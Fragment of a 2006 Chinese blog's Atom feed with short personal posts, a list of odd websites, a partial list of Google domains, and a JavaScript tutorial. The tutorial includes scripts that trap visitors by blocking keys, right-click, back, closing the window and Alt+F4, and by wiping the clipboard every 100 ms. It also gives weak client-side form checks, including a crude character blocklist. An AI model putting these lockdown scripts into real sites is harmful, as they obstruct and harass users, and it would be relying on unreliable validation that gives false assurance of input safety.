		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2006-08-19T23:00:16+08:00</updated>
	  <published>2006-08-19T23:00:16+08:00</published>
		  <summary type="html"><![CDATA[<P>刚到家，回到日志一看纪录，哇！<FONT color=#ff0000 size=6><STRONG>20047</STRONG></FONT>的流量，突破<STRONG><FONT color=#ff0000>2W</FONT></STRONG>大观！历史最高的一天，平时最多1.9W封顶咯～活活～拍个照留个纪念，哈哈！</P>
<P align=center><img src="http://www.openx.cn//include/Editor/UploadFile/2006819225827949.jpg" border=0></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=346" /> 
	  <id>http://www.openx.cn/default.asp?id=346</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[在网站开发中经常用到的javaScript技术]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-08-18T14:06:21+08:00</updated>
	  <published>2006-08-18T14:06:21+08:00</published>
		  <summary type="html"><![CDATA[<STRONG>1&gt;屏蔽功能类</STRONG> 
<P><FONT color=#ff0000>1.1&nbsp;屏蔽键盘所有键</FONT><BR>&lt;script&nbsp;language="javascript"&gt;<BR>&lt;!--<BR>function&nbsp;document.onkeydown(){<BR>&nbsp;&nbsp;&nbsp;event.keyCode&nbsp;=&nbsp;0;<BR>&nbsp;&nbsp;&nbsp;event.returnvalue&nbsp;=&nbsp;false;<BR>}<BR>--&gt;<BR>&lt;/script&gt;</P>
<P><FONT color=#ff0000>1.2&nbsp;屏蔽鼠标右键</FONT></P>
<P>在body标签里加上oncontextmenu=self.event.returnvalue=false</P>
<P><FONT color=#ff0000>或者</FONT></P>
<P>&lt;script&nbsp;language="javascript"&gt;<BR>&lt;!--<BR>function&nbsp;document.oncontextmenu()&nbsp;<BR>{&nbsp;<BR>&nbsp;&nbsp;return&nbsp;false;&nbsp;<BR>}&nbsp;<BR>--&gt;<BR>&lt;/script&gt;</P>
<P>function&nbsp;nocontextmenu()<BR>{&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(document.all)&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.cancelBubble=true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnvalue=false;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>}</P>
<P><FONT color=#ff0000>或者</FONT></P>
<P>&lt;body&nbsp;onmousedown="rclick()"&nbsp;oncontextmenu=&nbsp;"nocontextmenu()"&gt;</P>
<P>&lt;script&nbsp;language="javascript"&gt;<BR>&lt;!--<BR>function&nbsp;rclick()<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(document.all)&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(event.button&nbsp;==&nbsp;2){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnvalue=false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>}<BR>--&gt;<BR>&lt;/script&gt;</P>
<P><BR><FONT color=#ff0000>1.3&nbsp;屏蔽&nbsp;Ctrl+N、Shift+F10、F5刷新、退格键</FONT></P>
<P>&lt;script&nbsp;language="javascript"&gt;<BR>&lt;!--<BR>&nbsp;&nbsp;//屏蔽鼠标右键、Ctrl+N、Shift+F10、F5刷新、退格键<BR>function&nbsp;window.onhelp(){return&nbsp;false}&nbsp;//屏蔽F1帮助<BR>function&nbsp;KeyDown(){<BR>&nbsp;&nbsp;if&nbsp;((window.event.altKey)&&<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((window.event.keyCode==37)||&nbsp;&nbsp;&nbsp;//屏蔽&nbsp;Alt+&nbsp;方向键&nbsp;←<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(window.event.keyCode==39))){&nbsp;&nbsp;//屏蔽&nbsp;Alt+&nbsp;方向键&nbsp;→<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert("不准你使用ALT+方向键前进或后退网页！");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnvalue=false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;注：这还不是真正地屏蔽&nbsp;Alt+&nbsp;方向键，<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;因为&nbsp;Alt+&nbsp;方向键弹出警告框时，按住&nbsp;Alt&nbsp;键不放，<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;用鼠标点掉警告框，这种屏蔽方法就失效了。以后若<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;有哪位高手有真正屏蔽&nbsp;Alt&nbsp;键的方法，请告知。*/</P>
<P>&nbsp;&nbsp;if&nbsp;((event.keyCode&nbsp;==&nbsp;8)&nbsp;&&&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(event.srcElement.type&nbsp;!=&nbsp;"text"&nbsp;&&&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.srcElement.type&nbsp;!=&nbsp;"textarea"&nbsp;&&&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.srcElement.type&nbsp;!=&nbsp;"password")&nbsp;||&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//屏蔽退格删除键&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(event.keyCode==116)||&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//屏蔽&nbsp;F5&nbsp;刷新键<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(event.ctrlKey&nbsp;&&&nbsp;event.keyCode==82)){&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Ctrl&nbsp;+&nbsp;R<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.keyCode=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnvalue=false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;if&nbsp;((event.ctrlKey)&&(event.keyCode==78))&nbsp;&nbsp;&nbsp;//屏蔽&nbsp;Ctrl+n<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnvalue=false;<BR>&nbsp;&nbsp;if&nbsp;((event.shiftKey)&&(event.keyCode==121))&nbsp;//屏蔽&nbsp;shift+F10<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnvalue=false;<BR>&nbsp;&nbsp;if&nbsp;(window.event.srcElement.tagName&nbsp;==&nbsp;"A"&nbsp;&&&nbsp;window.event.shiftKey)&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.event.returnvalue&nbsp;=&nbsp;false;&nbsp;&nbsp;//屏蔽&nbsp;shift&nbsp;加鼠标左键新开一网页<BR>&nbsp;&nbsp;if&nbsp;((window.event.altKey)&&(window.event.keyCode==115)){&nbsp;//屏蔽Alt+F4<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.showModelessDialog("about:blank","","dialogWidth:1px;dialogheight:1px");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;}<BR>&nbsp;&nbsp;}<BR>&nbsp;/*&nbsp;另外可以用&nbsp;window.open&nbsp;的方法屏蔽&nbsp;IE&nbsp;的所有菜单<BR>第一种方法：<BR>&nbsp;&nbsp;window.open("你的.htm",&nbsp;"","toolbar=no,location=no,directories=no,menubar=no,scrollbars=no,resizable=yes,status=no,top=0,left=0")<BR>第二种方法是打开一个全屏的页面：<BR>&nbsp;&nbsp;window.open("你的.asp",&nbsp;"",&nbsp;"fullscreen=yes")<BR>&nbsp;*/<BR>//--&gt;<BR>&lt;/script&gt;</P>
<P><FONT color=#ff0000>1.4屏蔽浏览器右上角“最小化”“最大化”“关闭”键</FONT></P>
<P>&lt;script&nbsp;language=javascript&gt;<BR>function&nbsp;window.onbeforeunload()<BR>{<BR>&nbsp;&nbsp;if(event.clientX&gt;document.body.clientWidth&&event.clientY&lt;0||event.altKey)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;window.event.returnvalue&nbsp;=&nbsp;"";<BR>&nbsp;&nbsp;}<BR>}<BR>&lt;/script&gt;</P>
<P><FONT color=#ff0000>或者使用全屏打开页面</FONT></P>
<P>&lt;script&nbsp;language="javascript"&gt;<BR>&lt;!--<BR>window.open(<A href="http://www.32pic.com/">www.32pic.com</A>,"32pic","fullscreen=3,height=100,&nbsp;width=400,&nbsp;top=0,&nbsp;left=0,&nbsp;toolbar=no,&nbsp;menubar=no,&nbsp;scrollbars=no,&nbsp;resizable=no,location=no,&nbsp;status=no");<BR>--&gt;<BR>&lt;/script&gt;</P>
<P>注：在body标签里加上onbeforeunload="javascript:return&nbsp;false"（使不能关闭窗口）</P>
<P><FONT color=#ff0000>1.5屏蔽F5键</FONT></P>
<P>&lt;script&nbsp;language="javascript"&gt;<BR>&lt;!--<BR>function&nbsp;document.onkeydown()&nbsp;<BR>{&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;event.keyCode==116)&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.keyCode&nbsp;=&nbsp;0;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.cancelBubble&nbsp;=&nbsp;true;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>}<BR>--&gt;<BR>&lt;/script&gt;</P>
<P><FONT color=#ff0000>1.6屏蔽IE后退按钮</FONT></P>
<P>在你链接的时候用&nbsp;&lt;a&nbsp;href="javascript:location.replace(url)"&gt;</P>
<P><FONT color=#ff0000>1.7屏蔽主窗口滚动条</FONT></P>
<P>在body标签里加上&nbsp;style="overflow-y:hidden"</P>
<P><FONT color=#ff0000>1.8&nbsp;屏蔽拷屏,不断地清空剪贴板</FONT></P>
<P>在body标签里加上onload="setInterval('clipboardData.setData(\'Text\',\'\')',100)"</P>
<P><FONT color=#ff0000>1.9&nbsp;屏蔽网站的打印功能</FONT></P>
<P>&lt;style&gt;<BR>@media&nbsp;print&nbsp;{<BR>&nbsp;&nbsp;&nbsp;*&nbsp;{&nbsp;display:&nbsp;none&nbsp;}<BR>}<BR>&lt;/style&gt;</P>
<P><FONT color=#ff0000>1.10&nbsp;屏蔽IE6.0&nbsp;图片上自动出现的保存图标</FONT></P>
<P>方法一：<BR>&lt;META&nbsp;HTTP-EQUIV="imagetoolbar"&nbsp;CONTENT="no"&gt;<BR>方法二：<BR>&lt;img&nbsp;galleryimg="no"&gt;</P>
<P><FONT color=#ff0000>1.11&nbsp;屏蔽页中所有的script</FONT></P>
<P>&lt;noscrript&gt;&lt;/noscript&gt;&nbsp;</P>
<P><STRONG>&nbsp;2&gt;表单提交验证类</STRONG> </P>
<P>&nbsp;</P>
<P><FONT color=#ff0000>2.1&nbsp;表单项不能为空</FONT></P>
<P>&lt;script&nbsp;language="javascript"&gt;<BR>&lt;!--<BR>function&nbsp;CheckForm()<BR>{<BR>if&nbsp;(document.form.name.value.length&nbsp;==&nbsp;0)&nbsp;{<BR>&nbsp;&nbsp;&nbsp;alert("请输入您姓名!");<BR>&nbsp;&nbsp;&nbsp;document.form.name.focus();<BR>&nbsp;&nbsp;&nbsp;return&nbsp;false;<BR>}<BR>&nbsp;&nbsp;&nbsp;return&nbsp;true;<BR>}<BR>--&gt;<BR>&lt;/script&gt;</P>
<P><FONT color=#ff0000>2.2&nbsp;比较两个表单项的值是否相同</FONT></P>
<P>&lt;script&nbsp;language="javascript"&gt;<BR>&lt;!--<BR>function&nbsp;CheckForm()<BR>if&nbsp;(document.form.PWD.value&nbsp;!=&nbsp;document.form.PWD_Again.value)&nbsp;{<BR>&nbsp;&nbsp;&nbsp;alert("您两次输入的密码不一样！请重新输入.");<BR>&nbsp;&nbsp;&nbsp;document.ADDUser.PWD.focus();<BR>&nbsp;&nbsp;&nbsp;return&nbsp;false;<BR>}<BR>&nbsp;&nbsp;&nbsp;return&nbsp;true;<BR>}<BR>--&gt;<BR>&lt;/script&gt;</P>
<P><FONT color=#ff0000>2.3&nbsp;表单项只能为数字和"_",用于电话/银行帐号验证上,可扩展到域名注册等</FONT></P>
<P>&lt;script&nbsp;language="javascript"&gt;<BR>&lt;!--<BR>function&nbsp;isNumber(String)<BR>{&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;Letters&nbsp;=&nbsp;"1234567890-";&nbsp;//可以自己增加可输入值<BR>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;i;<BR>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;c;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(String.charAt(&nbsp;0&nbsp;)=='-')<BR>&nbsp;return&nbsp;false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(&nbsp;String.charAt(&nbsp;String.length&nbsp;-&nbsp;1&nbsp;)&nbsp;==&nbsp;'-'&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;String.length;&nbsp;i&nbsp;++&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c&nbsp;=&nbsp;String.charAt(&nbsp;i&nbsp;);<BR>&nbsp;&nbsp;&nbsp;if&nbsp;(Letters.indexOf(&nbsp;c&nbsp;)&nbsp;&lt;&nbsp;0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;<BR>}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;true;<BR>}<BR>function&nbsp;CheckForm()<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(!&nbsp;isNumber(document.form.TEL.value))&nbsp;{<BR>&nbsp;&nbsp;alert("您的电话号码不合法！");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.form.TEL.focus();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;<BR>}<BR>return&nbsp;true;<BR>}<BR>--&gt;<BR>&lt;/script&gt;</P>
<P><BR><FONT color=#ff0000>2.4&nbsp;表单项输入数值/长度限定</FONT></P>
<P>&lt;script&nbsp;language="javascript"&gt;<BR>&lt;!--<BR>function&nbsp;CheckForm()&nbsp;<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(document.form.count.value&nbsp;&gt;&nbsp;100&nbsp;||&nbsp;document.form.count.value&nbsp;&lt;&nbsp;1)<BR>{<BR>&nbsp;alert("输入数值不能小于零大于100!");<BR>&nbsp;document.form.count.focus();<BR>&nbsp;return&nbsp;false;<BR>}<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(document.form.MESSAGE.value.length&lt;10)<BR>{<BR>&nbsp;alert("输入文字小于10!");<BR>&nbsp;document.form.MESSAGE.focus();<BR>&nbsp;return&nbsp;false;<BR>}<BR>return&nbsp;true;<BR>}<BR>//--&gt;<BR>&lt;/script&gt;</P>
<P><FONT color=#ff0000>2.5&nbsp;中文/英文/数字/邮件地址合法性判断</FONT></P>
<P>&lt;SCRIPT&nbsp;LANGUAGE="javascript"&gt;<BR>&lt;!--</P>
<P>function&nbsp;isEnglish(name)&nbsp;//英文值检测<BR>{<BR>&nbsp;if(name.length&nbsp;==&nbsp;0)<BR>&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;for(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;name.length;&nbsp;i++)&nbsp;{<BR>&nbsp;&nbsp;if(name.charCodeAt(i)&nbsp;&gt;&nbsp;128)<BR>&nbsp;&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;}<BR>&nbsp;return&nbsp;true;<BR>}</P>
<P>function&nbsp;isChinese(name)&nbsp;//中文值检测<BR>{<BR>&nbsp;if(name.length&nbsp;==&nbsp;0)<BR>&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;for(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;name.length;&nbsp;i++)&nbsp;{<BR>&nbsp;&nbsp;if(name.charCodeAt(i)&nbsp;&gt;&nbsp;128)<BR>&nbsp;&nbsp;&nbsp;return&nbsp;true;<BR>&nbsp;}<BR>&nbsp;return&nbsp;false;<BR>}</P>
<P>function&nbsp;isMail(name)&nbsp;//&nbsp;E-mail值检测<BR>{<BR>&nbsp;if(!&nbsp;isEnglish(name))<BR>&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;i&nbsp;=&nbsp;name.indexOf("@");<BR>&nbsp;j&nbsp;=&nbsp;name.lastIndexOf("@");<BR>&nbsp;if(i&nbsp;==&nbsp;-1)<BR>&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;if(i&nbsp;!=&nbsp;j)<BR>&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;if(i&nbsp;==&nbsp;name.length)<BR>&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;return&nbsp;true;<BR>}</P>
<P>function&nbsp;isNumber(name)&nbsp;//数值检测<BR>{<BR>&nbsp;if(name.length&nbsp;==&nbsp;0)<BR>&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;for(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;name.length;&nbsp;i++)&nbsp;{<BR>&nbsp;&nbsp;if(name.charAt(i)&nbsp;&lt;&nbsp;"0"&nbsp;||&nbsp;name.charAt(i)&nbsp;&gt;&nbsp;"9")<BR>&nbsp;&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;}<BR>&nbsp;return&nbsp;true;<BR>}</P>
<P>function&nbsp;CheckForm()<BR>{<BR>&nbsp;if(!&nbsp;isMail(form.Email.value))&nbsp;{<BR>&nbsp;&nbsp;alert("您的电子邮件不合法！");<BR>&nbsp;&nbsp;form.Email.focus();<BR>&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;}<BR>&nbsp;if(!&nbsp;isEnglish(form.name.value))&nbsp;{<BR>&nbsp;&nbsp;alert("英文名不合法！");<BR>&nbsp;&nbsp;form.name.focus();<BR>&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;}<BR>&nbsp;if(!&nbsp;isChinese(form.cnname.value))&nbsp;{<BR>&nbsp;&nbsp;alert("中文名不合法！");<BR>&nbsp;&nbsp;form.cnname.focus();<BR>&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;}<BR>&nbsp;if(!&nbsp;isNumber(form.PublicZipCode.value))&nbsp;{<BR>&nbsp;&nbsp;alert("邮政编码不合法！");<BR>&nbsp;&nbsp;form.PublicZipCode.focus();<BR>&nbsp;&nbsp;return&nbsp;false;<BR>&nbsp;}<BR>&nbsp;return&nbsp;true;<BR>}<BR>//--&gt;<BR>&lt;/SCRIPT&gt;</P>
<P><FONT color=#ff0000>2.6&nbsp;限定表单项不能输入的字符</FONT></P>
<P>&lt;script&nbsp;language="javascript"&gt;<BR>&lt;!--</P>
<P>function&nbsp;contain(str,charset)//&nbsp;字符串包含测试函数<BR>{<BR>&nbsp;&nbsp;var&nbsp;i;<BR>&nbsp;&nbsp;for(i=0;i&lt;charset.length;i++)<BR>&nbsp;&nbsp;if(str.indexOf(charset.charAt(i))&gt;=0)<BR>&nbsp;&nbsp;return&nbsp;true;<BR>&nbsp;&nbsp;return&nbsp;false;<BR>}</P>
<P>function&nbsp;CheckForm()<BR>{<BR>&nbsp;if&nbsp;(<FONT color=#ff0000>(contain(document.form.NAME.value,&nbsp;"%\(\)&gt;&lt;"))</FONT>&nbsp;||&nbsp;<FONT color=#ff0000>(contain(document.form.MESSAGE.value,&nbsp;"%\(\)&gt;&lt;"))</FONT>)<BR>{<BR>&nbsp;&nbsp;alert("输入了非法字符");<BR>&nbsp;&nbsp;document.form.NAME.focus();<BR>&nbsp;&nbsp;return&nbsp;false;<BR>}<BR>&nbsp;&nbsp;return&nbsp;true;<BR>}<BR>//--&gt;<BR>&lt;/script&gt;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=345" /> 
	  <id>http://www.openx.cn/default.asp?id=345</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[网页之最]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-08-18T09:38:33+08:00</updated>
	  <published>2006-08-18T09:38:33+08:00</published>
		  <summary type="html"><![CDATA[<P>1.<A href="http://www.w3.org/History/19921103-hypertext/hypertext/WWW/TheProject.html" target=_blank>最古老的网页</A>。诞生于公元1991年，由WWW之父英国科学家蒂姆·伯纳斯-李爵士创建。是他制定了网络最基本的规则，不然如今也没有这个网络了。<BR><BR>2.<A href="http://www.shibumi.org/eoti.htm" target=_blank>最后的网页</A>。纯粹是搞笑的，估计是某某严重厌恶网络的人做的。<BR><BR>3.<A href="http://www.guimp.com/" target=_blank>最小的网页</A>。只有一张18×18大小的gif外链图片。点击进入后，仍然是18×18的图片，令人惊讶的是，这是一个博客。<BR><BR>4.<A href="http://blog.outer-court.com/files/largest.html" target=_blank>最大的网页</A>。N大！就是google&nbsp;blogoscoped自己做的，上面写着：Welcome&nbsp;to&nbsp;the&nbsp;Largest&nbsp;Web&nbsp;Page&nbsp;in&nbsp;the&nbsp;World.&nbsp;This&nbsp;page&nbsp;is&nbsp;extremely&nbsp;large,&nbsp;as&nbsp;you&nbsp;probably&nbsp;noticed.<BR><BR>5.<A href="http://www.pixelscapes.com/spatulacity/button.htm" target=_blank>最没用的网页</A>。上面放一个大大的按钮，然后说“按了它什么都不会发生”。哈哈，其实这个按钮链接到本身，所以无论按多少下都没有任何奇迹出现哈哈。有趣的是，这个网页建立于1994年，每年都有成千上万的人去点击这个按钮，希望有什么事情发生。有一神人，一次性点击上千次，还是没有任何反应。如今，仍然后人乐此不疲的点击这个按钮，可见这个世界多么无聊啊！<BR><BR>6.<A href="http://www.appstate.edu/~ww55582/REALLYUGLY/index.htm" target=_blank>最丑的网站</A>。当知无愧啊，一张恐龙的相片，超级刺眼的颜色，还有全部错写的单词。哇，这个世界依旧无聊啊。<BR><BR>7.<A href="http://digg.com/" target=_blank>最慢的网站</A>。居然是大名鼎鼎的digg.com。digg确实很慢，但不至于最慢吧，况且最近的访问速度有很大的提高，又有了中文抓取beta，这个我得替它喊冤。<BR><BR>8.<A href="http://www.wibsite.com/wiblog/dull/" target=_blank>最无聊的网站</A>。这个博客，无聊得吐血，摘译一段：一些铅笔散在我的书桌上，我一只一只拾起来，然后把他们放回原先放铅笔的抽屉里…………还不止这些，N多人跟着无聊，每篇无聊博文的都有上百的评论，最多的能上千！哎，无聊啊！</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=344" /> 
	  <id>http://www.openx.cn/default.asp?id=344</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[昨天服务器出问题了!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-08-17T10:30:00+08:00</updated>
	  <published>2006-08-17T10:30:00+08:00</published>
		  <summary type="html"><![CDATA[<P>昨天服务器出问题了!日志停了一天(越12小时多)~呼呼</P>
<P>相关服务也都停了~给众网友带来不便,请多多谅解.</P>
<P>几好友来Q,来M,询问关心,本人在此再次表示感谢!谢谢啦!</P>
<P>嘿嘿~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=343" /> 
	  <id>http://www.openx.cn/default.asp?id=343</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[详细名单：Google的581个域名]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-08-15T18:01:05+08:00</updated>
	  <published>2006-08-15T18:01:05+08:00</published>
		  <summary type="html"><![CDATA[<P minmax_bound="true" 18px><FONT color=#000000 minmax_bound="true"><SPAN minmax_bound="true" 9pt>Google的特色之一是不断推出各种新服务，由此必然会在Google旗下增加越来越多的域名。据业内人士Neil Patel统计，Google手中的域名已经有将近600个之多。<BR minmax_bound="true"><BR minmax_bound="true">除了与各种服务对应的域名，Google还收购了很多域名，如deja.net、picasa.com、pyra.com、keyhole.com和writely.com等，同时还有一些用户容易拼错的域名，如gogole.com、googel.com和googil.com等等。<BR minmax_bound="true"><BR minmax_bound="true"><BR minmax_bound="true">以下是详细的Google域名名单(共581个)：<BR minmax_bound="true"><BR minmax_bound="true">21150.com<BR minmax_bound="true">3576.net<BR minmax_bound="true">38389438.com<BR minmax_bound="true">466453.com<BR minmax_bound="true">7sou.com<BR minmax_bound="true">95539.com<BR minmax_bound="true">adsbygoogle.com<BR minmax_bound="true">adsense.net<BR minmax_bound="true">adwords.com<BR minmax_bound="true">adwords.net<BR minmax_bound="true">adwords.org<BR minmax_bound="true">adwordselect.com<BR minmax_bound="true">adwordsexample.com<BR minmax_bound="true">adwordsgoogle.com<BR minmax_bound="true">adwordsselect.com<BR minmax_bound="true">adwords-select.com<BR minmax_bound="true">adwordsselect.net<BR minmax_bound="true">adwordsselect.org<BR minmax_bound="true">akwan.com<BR minmax_bound="true">allevil.org<BR minmax_bound="true">altos.us<BR minmax_bound="true">android.com<BR minmax_bound="true">answergoogle.com<BR minmax_bound="true">answer-google.com<BR minmax_bound="true">answersgoogle.com<BR minmax_bound="true">answers-google.com<BR minmax_bound="true">appliedsemantics.com<BR minmax_bound="true">appsem.com<BR minmax_bound="true">apsem.com<BR minmax_bound="true">arabgoogle.com<BR minmax_bound="true">arabicgoogle.com<BR minmax_bound="true">askgoogle.com<BR minmax_bound="true">atlantis9.org<BR minmax_bound="true">averitablebevy.com<BR minmax_bound="true">bakuhatsu.net<BR minmax_bound="true">bigcitysmallbank.com<BR minmax_bound="true">blogger.com<BR minmax_bound="true">blogspot.com<BR minmax_bound="true">bon-vivant.net<BR minmax_bound="true">book300.com<BR minmax_bound="true">canalportugal.info<BR minmax_bound="true">cashexperiment.com<BR minmax_bound="true">catalogsgoogle.com<BR minmax_bound="true">chinagoogle.com<BR minmax_bound="true">clinilab.net<BR minmax_bound="true">cobrasearch.com<BR minmax_bound="true">conversionuniversity.com<BR minmax_bound="true">crotales.com<BR minmax_bound="true">dbanks.org<BR minmax_bound="true">deja.com<BR minmax_bound="true">deja.net<BR minmax_bound="true">dejadiscussion.com<BR minmax_bound="true">dejadiscussions.com<BR minmax_bound="true">deja-discussions.com<BR minmax_bound="true">dejanews.com<BR minmax_bound="true">dejanews.net<BR minmax_bound="true">dejanews.org<BR minmax_bound="true">dejastinks.com<BR minmax_bound="true">dejastinks.net<BR minmax_bound="true">dejasucks.net<BR minmax_bound="true">dejatracker.com<BR minmax_bound="true">deja-tracker.com<BR minmax_bound="true">delsolpm.net<BR minmax_bound="true">divesfl.com<BR minmax_bound="true">dmarc.net<BR minmax_bound="true">dodgeball.com<BR minmax_bound="true">dontswitch.com<BR minmax_bound="true">e17.org<BR minmax_bound="true">earthender.com<BR minmax_bound="true">earthender.net<BR minmax_bound="true">earthrender.com<BR minmax_bound="true">earthrender.net<BR 